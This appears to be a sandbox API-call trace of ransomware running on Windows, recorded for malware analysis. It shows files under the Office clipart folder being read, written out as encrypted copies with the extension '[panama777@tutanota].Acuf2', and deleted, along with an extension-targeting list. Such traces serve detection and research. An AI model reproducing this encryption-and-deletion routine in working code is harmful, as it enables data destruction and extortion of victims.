	[0256.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.659] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4024) returned 1
	[0256.659] CloseHandle (hObject=0x33c) returned 1
	[0256.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20
	[0256.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0256.659] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.659] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0256.660] GetLastError () returned 0x0
	[0256.660] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xfb8, lpOverlapped=0x0) returned 1
	[0256.955] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xfc0, lpOverlapped=0x0) returned 1
	[0256.956] ReadFile (in: hFile=0x33c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.956] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.956] SetEndOfFile (hFile=0x320) returned 1
	[0256.956] CloseHandle (hObject=0x320) returned 1
	[0256.956] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.956] SetEndOfFile (hFile=0x33c) returned 1
	[0256.961] CloseHandle (hObject=0x33c) returned 1
	[0256.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1
	[0257.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.377] lstrlenW (lpString=".doc") returned 4
	[0257.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.377] lstrlenW (lpString=".docx") returned 5
	[0257.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.377] lstrlenW (lpString=".pdf") returned 4
	[0257.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString=".xls") returned 4
	[0257.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.378] lstrlenW (lpString=".xlsx") returned 5
	[0257.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.378] lstrlenW (lpString=".ppt") returned 4
	[0257.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString=".zip") returned 4
	[0257.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.378] lstrlenW (lpString=".rar") returned 4
	[0257.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString=".bz2") returned 4
	[0257.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString=".7z") returned 3
	[0257.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString=".dbf") returned 4
	[0257.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString=".1cd") returned 4
	[0257.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString=".jpg") returned 4
	[0257.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.378] lstrlenW (lpString=".doc") returned 4
	[0257.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString=".docx") returned 5
	[0257.379] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.379] lstrlenW (lpString=".pdf") returned 4
	[0257.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString=".xls") returned 4
	[0257.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.379] lstrlenW (lpString=".xlsx") returned 5
	[0257.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.379] lstrlenW (lpString=".ppt") returned 4
	[0257.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.379] lstrlenW (lpString=".zip") returned 4
	[0257.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.379] lstrlenW (lpString=".rar") returned 4
	[0257.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString=".bz2") returned 4
	[0257.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString=".7z") returned 3
	[0257.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.379] lstrlenW (lpString=".dbf") returned 4
	[0257.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.379] lstrlenW (lpString=".1cd") returned 4
	[0257.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63
	[0257.382] lstrlenW (lpString=".jpg") returned 4
	[0257.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.382] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.382] lstrlenW (lpString="BL00269_.WMF") returned 12
	[0257.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.633] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5272) returned 1
	[0257.633] CloseHandle (hObject=0x218) returned 1
	[0257.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20
	[0257.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0257.714] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.714] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0257.714] GetLastError () returned 0x0
	[0257.714] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1498, lpOverlapped=0x0) returned 1
	[0257.750] WriteFile (in: hFile=0x354, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x14a0, lpOverlapped=0x0) returned 1
	[0257.751] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.751] WriteFile (in: hFile=0x354, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.751] SetEndOfFile (hFile=0x354) returned 1
	[0257.751] CloseHandle (hObject=0x354) returned 1
	[0257.751] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.751] SetEndOfFile (hFile=0x274) returned 1
	[0257.753] CloseHandle (hObject=0x274) returned 1
	[0257.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1
	[0257.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.830] lstrlenW (lpString=".doc") returned 4
	[0257.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.830] lstrlenW (lpString=".docx") returned 5
	[0257.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.830] lstrlenW (lpString=".pdf") returned 4
	[0257.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.830] lstrlenW (lpString=".xls") returned 4
	[0257.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.830] lstrlenW (lpString=".xlsx") returned 5
	[0257.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.830] lstrlenW (lpString=".ppt") returned 4
	[0257.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString=".zip") returned 4
	[0257.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.831] lstrlenW (lpString=".rar") returned 4
	[0257.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString=".bz2") returned 4
	[0257.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString=".7z") returned 3
	[0257.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString=".dbf") returned 4
	[0257.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString=".1cd") returned 4
	[0257.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString=".jpg") returned 4
	[0257.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.831] lstrlenW (lpString=".doc") returned 4
	[0257.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString=".docx") returned 5
	[0257.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.831] lstrlenW (lpString=".pdf") returned 4
	[0257.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.831] lstrlenW (lpString=".xls") returned 4
	[0257.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.832] lstrlenW (lpString=".xlsx") returned 5
	[0257.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.832] lstrlenW (lpString=".ppt") returned 4
	[0257.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.832] lstrlenW (lpString=".zip") returned 4
	[0257.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.832] lstrlenW (lpString=".rar") returned 4
	[0257.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.832] lstrlenW (lpString=".bz2") returned 4
	[0257.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.832] lstrlenW (lpString=".7z") returned 3
	[0257.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.832] lstrlenW (lpString=".dbf") returned 4
	[0257.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.832] lstrlenW (lpString=".1cd") returned 4
	[0257.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63
	[0257.832] lstrlenW (lpString=".jpg") returned 4
	[0257.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.833] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.833] lstrlenW (lpString="BL00524_.WMF") returned 12
	[0257.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.833] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=6996) returned 1
	[0257.833] CloseHandle (hObject=0x358) returned 1
	[0257.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20
	[0257.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.834] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.834] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0257.837] GetLastError () returned 0x0
	[0257.837] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1b54, lpOverlapped=0x0) returned 1
	[0257.863] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1b60, lpOverlapped=0x0) returned 1
	[0257.883] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.883] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.883] SetEndOfFile (hFile=0x330) returned 1
	[0257.883] CloseHandle (hObject=0x330) returned 1
	[0257.883] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.883] SetEndOfFile (hFile=0x358) returned 1
	[0257.885] CloseHandle (hObject=0x358) returned 1
	[0257.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1
	[0257.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.886] lstrlenW (lpString=".doc") returned 4
	[0257.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString=".docx") returned 5
	[0257.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.886] lstrlenW (lpString=".pdf") returned 4
	[0257.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString=".xls") returned 4
	[0257.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.886] lstrlenW (lpString=".xlsx") returned 5
	[0257.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.886] lstrlenW (lpString=".ppt") returned 4
	[0257.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.886] lstrlenW (lpString=".zip") returned 4
	[0257.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.886] lstrlenW (lpString=".rar") returned 4
	[0257.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString=".bz2") returned 4
	[0257.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString=".7z") returned 3
	[0257.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.886] lstrlenW (lpString=".dbf") returned 4
	[0257.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.886] lstrlenW (lpString=".1cd") returned 4
	[0257.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.887] lstrlenW (lpString=".jpg") returned 4
	[0257.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.887] lstrlenW (lpString=".doc") returned 4
	[0257.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString=".docx") returned 5
	[0257.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.887] lstrlenW (lpString=".pdf") returned 4
	[0257.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString=".xls") returned 4
	[0257.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.887] lstrlenW (lpString=".xlsx") returned 5
	[0257.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.887] lstrlenW (lpString=".ppt") returned 4
	[0257.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.887] lstrlenW (lpString=".zip") returned 4
	[0257.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.887] lstrlenW (lpString=".rar") returned 4
	[0257.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString=".bz2") returned 4
	[0257.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString=".7z") returned 3
	[0257.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.887] lstrlenW (lpString=".dbf") returned 4
	[0257.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.888] lstrlenW (lpString=".1cd") returned 4
	[0257.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63
	[0257.888] lstrlenW (lpString=".jpg") returned 4
	[0257.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.888] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.888] lstrlenW (lpString="BL00648_.WMF") returned 12
